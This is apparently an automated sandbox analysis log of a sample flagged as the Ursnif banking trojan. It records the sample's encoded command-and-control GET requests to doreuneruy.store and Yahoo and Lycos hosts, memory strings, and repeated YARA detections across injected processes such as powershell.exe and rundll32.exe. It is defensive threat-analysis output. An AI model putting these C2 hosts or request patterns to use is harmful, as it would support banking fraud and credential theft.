Source: global traffic HTTP traffic detected: GET /jdraw/3UXHIycRk8M6aa2qOlHTdp/8jPuZVV_2B0Th/06YoiQaE/_2FatRxjXAnjx3AlxRhb2k2/1D4WV7ZMym/m2C_2FFYEC_2FU7Yk/i_2BPnwgmBF0/IPzTLMeRUBV/cxcHi5I_2FpZBi/N1gpoZwjss03S_2Fbnr3z/jVvgtIBwhuwnmbuC/0OORMWqE7PIEiI9/PgDQNnYSyBZIKuFwau/KOHqRL.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: doreuneruy.storeConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /jdraw/eKaIOMBSk5/OmJgUmRZLr75WvgmQ/lCAAoG2FlxCw/NYzS1o_2BFi/Ieqx_2FKcvuYNo/7IkLYskhOhbfPZpn3msj_/2BR_2Fhl7PSteeC_/2Fx6wkm1gCCOSzv/ojOhT7mIu1zV1InOuI/v0PzrfJti/Vp_2B_2FXz6Vw_2B8AOy/f6kLklWb2UbpPJ8knZc/CNedLE3nD8G6LBOjysaOgx/q1vP.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: doreuneruy.storeConnection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=mf9de3f53c70hjkfmk1chn5dm2; lang=en
Source: global traffic HTTP traffic detected: GET /jdraw/9h3_2FCmvCPAOiqfbbwOZ/EDyF0nUwfnz0i_2B/zRdR8YVxUZKNNmY/vh0mWq_2BHQORAUjil/Wy1ZX7xjv/qL7UjzfbaMRckwwpBr7M/ZU4TPOLT0IGmp_2FqN5/9mRjeYDMBNc5x7HMWXCA4m/OQS9XBJVBHWu0/pJXVZOQ3/aoSVwCoLr8yuRXdSOyZXUNC/Ax4ZOlmgeU/J19Mkd.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: doreuneruy.storeConnection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=mf9de3f53c70hjkfmk1chn5dm2; lang=en
Source: global traffic HTTP traffic detected: GET /images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: lycos.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Connection: Keep-AliveCache-Control: no-cacheHost: www.lycos.com
Source: global traffic HTTP traffic detected: GET /images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg/ HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Connection: Keep-AliveCache-Control: no-cacheHost: www.lycos.com
Source: global traffic HTTP traffic detected: GET /images/p1j4_2FYUovJ2/Q091rOlp/WlKK4E5BVUZATMisrrcdfO9/xujBGVZbFO/j81xKcDs8ZGIsXpsR/jMxQkqt8r3FW/nNmyo_2F9c1/9mchTGcF4u2BVp/bDV5DdPcO0rbV_2BYJl9C/a6_2BauGQrS_2Bhd/udU30LsZA_2BvFf/UUBtSUpSS_2BsU0ZRR/VBbsBM3cR/23B7DLESnrY8YHW8fKAI/d4jc9Ng_2FmqIhPtJeY/iUJMoJejs2tPtZa5trclBk/90nQlHKbQVphQ/nUNz7irW/DHC.gif HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: mail.yahoo.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /?.src=ym&pspid=159600001&activity=mail-direct&.lang=en-US&.intl=us&.done=https%3A%2F%2Fmail.yahoo.com%2Fd%2Fimages%2Fp1j4_2FYUovJ2%2FQ091rOlp%2FWlKK4E5BVUZATMisrrcdfO9%2FxujBGVZbFO%2Fj81xKcDs8ZGIsXpsR%2FjMxQkqt8r3FW%2FnNmyo_2F9c1%2F9mchTGcF4u2BVp%2FbDV5DdPcO0rbV_2BYJl9C%2Fa6_2BauGQrS_2Bhd%2FudU30LsZA_2BvFf%2FUUBtSUpSS_2BsU0ZRR%2FVBbsBM3cR%2F23B7DLESnrY8YHW8fKAI%2Fd4jc9Ng_2FmqIhPtJeY%2FiUJMoJejs2tPtZa5trclBk%2F90nQlHKbQVphQ%2FnUNz7irW%2FDHC.gif HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Connection: Keep-AliveCache-Control: no-cacheHost: login.yahoo.com
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Founddate: Wed, 24 Nov 2021 19:20:31 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"cache-control: privatex-content-type-options: nosniffcontent-type: text/html; charset=UTF-8x-envoy-upstream-service-time: 10server: ATSContent-Length: 1066Age: 0Connection: closeStrict-Transport-Security: max-age=31536000Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.intheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonpost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.verizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=4d9lsodgpt43v&partner=;X-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=block
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Nov 2021 19:23:16 GMTServer: ApacheContent-Security-Policy: frame-ancestors 'self' *.lycos.comX-Powered-By: PHP/7.2.24Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.389939167.0000000000542000.00000004.00000001.sdmp String found in binary or memory: *.www.yahoo.com equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.389939167.0000000000542000.00000004.00000001.sdmp String found in binary or memory: *.www.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.347031164.0000000002B1B000.00000004.00000040.sdmp String found in binary or memory: <noscript><META http-equiv="refresh" content="0;URL='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fjdraw%2fPzj8ZAf1ocor%2fvwsK7U9HF_2%2fBSjjGESBX8ncCP%2frsp24bDI0WxsD9fAtnq85%2frAH52N6aYSEnz28y%2fNysMGquW6jE1I3O%2f36A_2F3Qs_2BAgBXT1%2fHGms2KfZf%2fhtng5Y_2F6UNXpqPSc50%2fedmgeyW7_2FUCcpHRMH%2fzBkXUS6KgYXoeCgqOY5mgh%2fnYjhIOr2VHId2%2f5cO9AJQL%2fv1AW.crw'"></noscript> equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: Location: https://www.yahoo.com/jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crw equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: Mwww.yahoo.com/jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crwrsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crwp equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/ equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/F equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/M equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/b equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346160000.0000000000521000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crw equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.347031164.0000000002B1B000.00000004.00000040.sdmp String found in binary or memory: var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fjdraw%2fPzj8ZAf1ocor%2fvwsK7U9HF_2%2fBSjjGESBX8ncCP%2frsp24bDI0WxsD9fAtnq85%2frAH52N6aYSEnz28y%2fNysMGquW6jE1I3O%2f36A_2F3Qs_2BAgBXT1%2fHGms2KfZf%2fhtng5Y_2F6UNXpqPSc50%2fedmgeyW7_2FUCcpHRMH%2fzBkXUS6KgYXoeCgqOY5mgh%2fnYjhIOr2VHId2%2f5cO9AJQL%2fv1AW.crw'; equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000002.517885916.000000000342A000.00000004.00000010.sdmp, 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000002.516883951.0000000000530000.00000004.00000020.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.com(( equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.com/jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crw equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.com2 equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.com:$ equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.comM) equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.comP equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.comP$M equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.comQ equals www.yahoo.com (Yahoo)
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: www.yahoo.comoo.comQ equals www.yahoo.com (Yahoo)
Source: unknown HTTPS traffic detected: 98.137.11.164:443 -> 192.168.2.3:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.248.100.215:443 -> 192.168.2.3:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 89.45.4.117:443 -> 192.168.2.3:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 209.202.254.90:443 -> 192.168.2.3:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 209.202.254.90:443 -> 192.168.2.3:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.248.118.23:443 -> 192.168.2.3:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 212.82.100.140:443 -> 192.168.2.3:49817 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000000E.00000003.473205364.000002E0C721C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.551762255.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.841098267.000001EAE4A02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.399143772.000000000291C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346977655.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549603745.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702102398.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702289385.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702177373.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346937674.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.542333529.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702063313.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702232762.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.455384028.00000000040F8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346992994.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470344123.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346913060.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346959210.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.393561682.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470416352.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.848361945.00000163C5B02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.844738201.000001B91FF02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702016813.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397469002.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702206900.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.703676134.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.701957024.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.838458423.0000027741E02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347006812.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347017616.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.553064845.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702145483.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549734741.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2GEg45PlG9.exe PID: 6540, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 4768, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6576, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4084, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6500, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4440, type: MEMORYSTR
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a994a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.2GEg45PlG9.exe.20d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000023.00000000.640272876.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.665585940.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.607122164.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397282239.0000000002A99000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.517379497.0000000002720000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.645879141.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.651725640.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.465481306.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.566373017.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.469185979.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.547994492.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.560669492.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.585352410.000002E0BE597000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.516035040.0000000002559000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.613095849.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.663821435.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.546791184.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.618879777.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.555920972.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.544941434.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397218720.0000000002A1A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.661999238.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.466675811.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY

E-Banking Fraud:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000000E.00000003.473205364.000002E0C721C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.551762255.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.841098267.000001EAE4A02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.399143772.000000000291C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346977655.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549603745.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702102398.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702289385.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702177373.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346937674.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.542333529.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702063313.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702232762.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.455384028.00000000040F8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346992994.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470344123.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346913060.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346959210.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.393561682.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470416352.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.848361945.00000163C5B02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.844738201.000001B91FF02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702016813.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397469002.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702206900.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.703676134.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.701957024.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.838458423.0000027741E02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347006812.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347017616.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.553064845.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702145483.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549734741.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2GEg45PlG9.exe PID: 6540, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 4768, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6576, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4084, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6500, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4440, type: MEMORYSTR
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.unpack, type: UNPACKEDPE
